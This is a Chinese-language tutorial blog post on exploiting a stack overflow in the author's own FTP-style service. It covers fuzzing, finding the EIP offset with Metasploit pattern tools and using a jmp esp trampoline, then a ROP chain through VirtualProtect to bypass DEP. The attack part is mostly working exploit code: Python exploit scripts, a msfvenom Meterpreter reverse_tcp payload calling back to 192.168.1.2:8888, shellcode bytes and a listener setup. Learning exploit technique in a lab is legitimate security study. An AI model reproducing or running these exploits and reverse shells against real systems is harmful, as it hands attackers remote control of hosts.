通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出,攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,而微软的DEP保护机制则可使缓冲区溢出失效,不过利用ROP反导技术依然是可被绕过的,接下来将具体分析如何利用ROP技术绕过DEP保护机制。
课件下载: https://pan.baidu.com/s/1a7H8Hfr1wFPtM3_Xr5HZfg 提取码:dwoj
缓冲区溢出的常用攻击方法是将恶意 shellcode 注入到远程服务的堆栈中,并利用 jmp esp
等跳板指令跳转到堆栈中执行恶意的代码片段,从而拿到目标主机的控制权。为了演示攻击的具体手法以及二进制漏洞挖掘的思路,这里作者编写了远程服务程序FTP Server
该服务运行后会在本机开启 0.0.0.0:9999
端口,你可以通过nc命令远程连接到服务器并可以执行一些命令.
如上图就是运行后的FTP服务器,通过nc工具链接服务端的地址nc 192.168.1.8 9999
可以得到一个FTP交互环境,此时可以执行send | hello world
命令,来向服务器发送一段字符串,同时服务器会返回给你Data received successfully
这样的提示信息,好了我们开始分析程序并挖掘漏洞吧。
模糊测试与分析
要执行模糊测试的第一步就是要确定发送数据包中包头的格式,这里我们可以使用Wireshark工具监控TCP流,将源地址设置为192.168.1.2
,目标地址设置为 192.168.1.8
,监控并从中得到数据传输的格式信息,过滤语句 tcp.stream and ip.src_host==192.168.1.2 and ip.dst_host==192.168.1.8
该语句可以精确的过滤出我们所需要的数据。
上图中我们可以直观的看出,数据包的格式仅仅是 send | hello lyshark
并没有添加任何的特殊符号,更没有加密传输,接下来就是要验证send函数是否存在缓冲区溢出了,这里我们需要编写一个模糊测试脚本来对目标服务进行测试,脚本内容如下,Python 脚本执行后会对目标FTP服务进行发包测试。
# coding:utf-8
import socket,time
def initCount(count,Inc):
buffer = ["A"]
while len(buffer)<=50:
buffer.append("A" * count)
count = count + Inc
return buffer
def Fuzz(addr,port,buffer):
try:
for string in buffer:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect((addr,port))
sock.recv(1024)
command = b'send |/.:/' + string.encode()
sock.send(command)
sock.close()
time.sleep(1)
print('Fuzzing Pass with {} bytes'.format(len(string)))
except Exception:
print('
This buffer cannot exceed the maximum {} bytes'.format(len(string)))
if __name__ == "__main__":
# initCount 10 说明从0开始递增,每次递增100
buff = initCount(0,100)
Fuzz("192.168.1.8",9999,buff)
上方的代码的构造需要具体分析数据包的形式得到,在漏洞模糊测试中上方代码中间部分的交互需要根据不同程序的交互方式进行修改与调整,这里测试脚本执行后当缓冲区填充为2200bytes
时程序崩溃了,说明该程序的send函数确实存在缓冲区溢出漏洞,其次该程序缓冲区的大小应在2200字节以内。
经过模糊测试我们可知该函数确实存在漏洞,为了能让读者更加深入的理解缓冲区发生的原因和定位技巧,我将具体分析一下其汇编代码的组织形式,这里为了方便演示我将在攻击主机进行逆向分析。
首先打开X64dbg将FTP程序载入并运行,接着我们需要使用Netcat链接本机 nc 192.168.1.2 9999
并进入一个可交互的shell环境中,然后输入待发送的字符串不要回车。
接着我们回到X64DBG按下ctrl + G
在recv函数上下一个断点,因为程序接收用户输入的功能需要使用recv函数的,所以这里我们直接下断,然后运行程序,发送数据后会被断下,我们直接回到程序领空,会看到以下代码片段,这里我们需要在 0040148D
这个内存地址处下一个F2断点,然后取消系统领空中recv上的断点。
通过再次发送send | hello lyshark
程序会被断下,我们单步向下跟进会发现下面的代码片段,这里正是我们的send
函数所执行的区域,此处我们记下这个内存地址 004017D5
然后关闭X64dbg
打开IDA Pro加载程序并按下G键,我们来到刚刚的内存地址处,这里已经给大家分析好了,关键的变量是分配了3000
个字节的缓冲区,直接传递给了_Function3
函数。
接着我们继续跟进这个call _Function3
函数,会发现子过程内部并没有对接收缓冲区大小进行严格的过滤,强制将3000byte
的数据拷贝到2024byte
的缓冲区中,此时缓冲区就会发生溢出,从而导致堆栈失衡,程序崩溃,这和上方的模糊测试脚本得到的结果是差不多的。
为了能够更加精确的计算出缓冲区的具体大小,我们还需使用Metasploit中集成的两个工具,该工具默认需要一起配合使用,其原理就是利用了随机字符串计算当前字符串距离缓冲区首部的偏移,通过使用唯一字符串法,我们可以快速定位到当前缓冲区的实际大小,要使用Metasploit的工具需要先配置好环境变量,你可以先执行以下操作,然后再利用pattern_create.rb
生成长度为3000字节的字串。
.-.
.-'``(|||)
,` `-`. 88 88
/ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
/ ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`
Linux Version 4.4.0-17763-Microsoft, Compiled #253-Microsoft Mon Dec 31 17:49:00 PST 2018
Four 2.3GHz Intel i5 Processors, 128TB RAM, 18408 Bogomips Total Dell
lyshark@Dell:~$ export PATH=/opt/metasploit-framework/embedded/bin:$PATH
lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ bundle install
lyshark@Dell:~$ ./pattern_create.rb -l 3000
将生成的字符串拷贝到我们的Python测试脚本中。
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字符串填充到这里>'
sock.send(command + buffer)
sock.close()
远程主机运行FTP服务程序,然后X64DBG附加,攻击主机运行上方脚本,会发现远程主机中调试器发生了异常,当前EIP地址是 0x6F43376F
接着我们可以通过使用Metasploit中提供的第二个工具 pattern_offset.rb
计算出当前缓冲区的实际大小是 2002
接着就可以写出漏洞利用的基础框架,其中的eip是一个未知数,我们暂且先用BBBB
来填充,BBBB所对应的是 42424242
lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002
lyshark@Dell:~$ vim payload.py
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'x90' * 50
sock.send(command + buffer + eip + nops)
sock.close()
lyshark@Dell:~$ python3 payload.py
如上图所示,当我们再次执行这个溢出脚本时,发现FTP服务的EIP已经被替换成了42424242
而堆栈中也已经被90909090
就是Nop雪橇全部填充满了,说明我们预测的地址是完全正确的。
寻找跳板指令(溢出测试)
在上面环节中我们已经确定了填充物的大小,但程序每次运行其栈地址都是随机变化的,这是因为堆栈空间默认是由操作系统调度分配的每次分配都不会一致,在Windows漏洞利用过程中,由于程序的装入和卸载都是动态分配的,所以Windows进程的函数栈帧可能产生移位
,即ShellCode
在内存中的地址是动态变化
的,因此需要Exploit(漏洞利用代码)
在运行时动态定位栈中的ShellCode
地址。
此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp
作为跳板指针,其基本思路是,使用内存中任意一个jmp esp
地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp
指令,而ESP寄存器指向的地址正好是我们布置好的nop雪橇
的位置,此时EIP执行流就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码。
选择模块: 首先通过x64dbg调试器附加FTP程序,然后选择符号菜单,这里可以看到该服务程序加载了非常多的外部DLL库,我们可以随意选择一个动态链接库跳转过去,这里为了通用我就选择 network.dll
这个模块作为演示,模块的选择是随机的,只要模块内部存在 jmp esp
指令或者是能够跳转到nop雪橇位置的任何指令片段均可被利用。
搜索跳板: 接着在调试器的反汇编界面中,按下ctrl + f
搜索该模块中的jmp esp
指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上,如下图我们就选择 625011ED
这个代码片段。
构建利用代码并测试: 既然所有条件都满足了接下来就是生成漏洞利用代码了,这里我们可以通过MSF提供的msfvenom命令快速的生成一个有效载荷,并将其与我们得到的内存地址进行组装。
lyshark@Dell:~$ sudo msfvenom -a x86 --platform Windows
-p windows/meterpreter/reverse_tcp -b 'x00' lhost=192.168.1.2 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of python file: 1802 bytes
将生成的ShellCode与Python攻击脚本结合,下方的攻击目标主机是 192.168.1.8:9999
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 发送数据包头
buffer = b'A' * 2002 # 实际缓冲区填充物
eip = b'xEDx11x50x62' # 此处就是EIP跳转地址地址应该反写
nops = b'x90' * 50 # nop雪橇的位置
buf = b""
buf += b"xbbxbexa1x4ex3bxdaxcfxd9x74x24xf4x58x2b"
buf += b"xc9xb1x56x83xe8xfcx31x58x0fx03x58xb1x43"
buf += b"xbbxc7x25x01x44x38xb5x66xccxddx84xa6xaa"
buf += b"x96xb6x16xb8xfbx3axdcxecxefxc9x90x38x1f"
buf += b"x7ax1ex1fx2ex7bx33x63x31xffx4exb0x91x3e"
buf += b"x81xc5xd0x07xfcx24x80xd0x8ax9bx35x55xc6"
buf += b"x27xbdx25xc6x2fx22xfdxe9x1exf5x76xb0x80"
buf += b"xf7x5bxc8x88xefxb8xf5x43x9bx0ax81x55x4d"
buf += b"x43x6axf9xb0x6cx99x03xf4x4ax42x76x0cxa9"
buf += b"xffx81xcbxd0xdbx04xc8x72xafxbfx34x83x7c"
buf += b"x59xbex8fxc9x2dx98x93xccxe2x92xafx45x05"
buf += b"x75x26x1dx22x51x63xc5x4bxc0xc9xa8x74x12"
buf += b"xb2x15xd1x58x5ex41x68x03x36xa6x41xbcxc6"
buf += b"xa0xd2xcfxf4x6fx49x58xb4xf8x57x9fxcdxef"
buf += b"x67x4fx75x7fx96x70x85xa9x5dx24xd5xc1x74"
buf += b"x45xbex11x78x90x2ax18xeexdbx02x1dxecxb3"
buf += b"x50x1exd2xfbxddxf8x42xacx8dx54x23x1cx6d"
buf += b"x05xcbx76x62x7axebx78xa9x13x86x96x07x4b"
buf += b"x3fx0ex02x07xdexcfx99x6dxe0x44x2bx91xaf"
buf += b"xacx5ex81xd8xcaxa0x59x19x7fxa0x33x1dx29"
buf += b"xf7xabx1fx0cx3fx74xdfx7bx3cx73x1fxfax74"
buf += b"x0fx16x68x38x67x57x7cxb8x77x01x16xb8x1f"
buf += b"xf5x42xebx3axfax5ex98x96x6fx61xc8x4bx27"
buf += b"x09xf6xb2x0fx96x09x91x13xd1xf5x67x3cx7a"
buf += b"x9dx97x7cx7ax5dxf2x7cx2ax35x09x52xc5xf5"
buf += b"xf2x79x8ex9dx79xecx7cx3cx7dx25x20xe0x7e"
buf += b"xcaxf9x13x04xa3xfexd4xf9xadx9axd5xf9xd1"
buf += b"x9cxeax2fxe8xeax2dxecx4fxe4x18x51xf9x6f"
buf += b"x62xc5xf9xa5"
sock.send(command + buffer + eip + nops + buf)
sock.close()
最后在msf控制主机,启动一个侦听器,等待我们的攻击脚本运行。
lyshark@Dell:~$ sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.2
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.2:8888
一切准备就绪之后我们运行攻击脚本,即可得到目标主机的控制权,此时目标主机已经沦为肉鸡任人宰割。
小总结: 上方我们所演示的就是典型的基于内存的攻击技术,该技术的优势就是几乎很难被发现,100%的利用成功率,内存攻击技术就是利用了软件的安全漏洞,该漏洞的产生表面上是开发人员没有对缓冲区进行合理的检测,但其根本原因是,现代计算机在实现图灵模型时,没有在内存中严格区分数据和指令,这就存在程序的外部输入很有可能被当作指令来执行,当今任何操作系统都很难根除这种设计缺陷(图灵机特性),只能在某种程度上通过引入特殊的技术(DEP保护机制)去阻止黑客的成功利用。
ROP反导编程绕过DEP保护
前期提到过,缓冲区溢出的根本原因就是错误的将用户输入的恶意数据当作了指令来执行了从而导致发生溢出,因此微软推出了基于软件实现的DEP保护机制,其原理就是强制将堆栈属性设置为NX不可执行,而在后期AMD也首次推出了基于硬件实现的CPU处理器,从而很大程度上解决了这类溢出事件的发生。
而随着DEP技术的出现,黑客们就研究出了另一种绕过的措施,就是本次所提到的ROP返回导向编程,在微软系统中有这样的一些函数他们的作用就是可以将堆栈设置为可读可写可执行属性(VirtualProtect)
之所以会出现这些函数是因为,有些开发人员需要在堆栈中执行代码,所以也不可能将这样的功能彻底去掉。
既然无法直接执行堆栈上的代码,但是代码段依然是可以被执行的,我们可以经过调用末尾带有RET指令的微小片段,而他们会返回到栈,并再次调用令一块片段,以此类推,众多的小片段就可以完成调用 VirtualProoect
函数的功能,从而将当前堆栈设置为可执行,这样堆栈中的代码就可以被执行下去。
需要注意:在构建ROP链的时候,如果ret返回之前是一个影响堆栈的指令,那么我们就需要在ROP堆栈链的下方手动填充一些垫片来中和掉pop等指令对堆栈的影响,因为下一条指令也会从堆栈中取值,如果不中和掉这些无用代码的影响则ROP链将无法被正常执行,比如下面这条代码 pop ebp
它影响了堆栈,如果不是我们所需要调用的参数,那么我们就在他的下面填充一些填充物来中和一下。
这里所说的绕过DEP保护不完整,不是绕过,是找一些没有开启DEP保护的模块作为跳板,如下截图,我们必须找到可利用的DLL模块才可以,例如代码中我故意编译进去了一个msvcr71.dll模块,这个模块就没有开启DEP保护,那么就可被利用,你可以自己写工具检测,也可以使用mona.py框架自动化发现。
这里我已经将ROP链构建好了,当然手动构建并不是最好的选择,你可以使用mona.py
插件自动化完成这个过程,mona.py 插件是专门用户构建有效载荷的工具,其构建语句是 !mona.py rop -m *.dll -cp nonull
这里我就不在罗嗦了。
# coding:utf-8
import socket
import struct
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 发送数据包头
buffer = b'A' * 2002 # 实际缓冲区填充物
nops = b'x90' * 50 # nop雪橇的位置
buf = b""
buf += b"xbbxbexa1x4ex3bxdaxcfxd9x74x24xf4x58x2b"
buf += b"xc9xb1x56x83xe8xfcx31x58x0fx03x58xb1x43"
buf += b"xbbxc7x25x01x44x38xb5x66xccxddx84xa6xaa"
buf += b"x96xb6x16xb8xfbx3axdcxecxefxc9x90x38x1f"
buf += b"x7ax1ex1fx2ex7bx33x63x31xffx4exb0x91x3e"
buf += b"x81xc5xd0x07xfcx24x80xd0x8ax9bx35x55xc6"
buf += b"x27xbdx25xc6x2fx22xfdxe9x1exf5x76xb0x80"
buf += b"xf7x5bxc8x88xefxb8xf5x43x9bx0ax81x55x4d"
buf += b"x43x6axf9xb0x6cx99x03xf4x4ax42x76x0cxa9"
buf += b"xffx81xcbxd0xdbx04xc8x72xafxbfx34x83x7c"
buf += b"x59xbex8fxc9x2dx98x93xccxe2x92xafx45x05"
buf += b"x75x26x1dx22x51x63xc5x4bxc0xc9xa8x74x12"
buf += b"xb2x15xd1x58x5ex41x68x03x36xa6x41xbcxc6"
buf += b"xa0xd2xcfxf4x6fx49x58xb4xf8x57x9fxcdxef"
buf += b"x67x4fx75x7fx96x70x85xa9x5dx24xd5xc1x74"
buf += b"x45xbex11x78x90x2ax18xeexdbx02x1dxecxb3"
buf += b"x50x1exd2xfbxddxf8x42xacx8dx54x23x1cx6d"
buf += b"x05xcbx76x62x7axebx78xa9x13x86x96x07x4b"
buf += b"x3fx0ex02x07xdexcfx99x6dxe0x44x2bx91xaf"
buf += b"xacx5ex81xd8xcaxa0x59x19x7fxa0x33x1dx29"
buf += b"xf7xabx1fx0cx3fx74xdfx7bx3cx73x1fxfax74"
buf += b"x0fx16x68x38x67x57x7cxb8x77x01x16xb8x1f"
buf += b"xf5x42xebx3axfax5ex98x96x6fx61xc8x4bx27"
buf += b"x09xf6xb2x0fx96x09x91x13xd1xf5x67x3cx7a"
buf += b"x9dx97x7cx7ax5dxf2x7cx2ax35x09x52xc5xf5"
buf += b"xf2x79x8ex9dx79xecx7cx3cx7dx25x20xe0x7e"
buf += b"xcaxf9x13x04xa3xfexd4xf9xadx9axd5xf9xd1"
buf += b"x9cxeax2fxe8xeax2dxecx4fxe4x18x51xf9x6f"
buf += b"x62xc5xf9xa5"
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp 此处是原始EIP的地址
sock.send(command + buffer + rop + nops + buf)
sock.close()
此时我们回到被攻击主机,X64DBG附加调试,然后再第一条链上下一个断点 0x7c349614
然后运行攻击脚本,观察堆栈的变化,你就能一目了然。
如下图就是运行后的堆栈,你可以清晰的看到堆栈,栈顶的41414141
就是我们填充的合法指令,而接着下方就是我们构建的ROP链,当执行完这条链的时候此时的堆栈就会被赋予可执行权限,最后调用 0x625011ed
也就是jmp esp
跳转到下方的nop垫片位置,此时就会顺利的执行我们所布置好的后门。
原创作品:转载请加出处,您添加出处,是我创作的动力!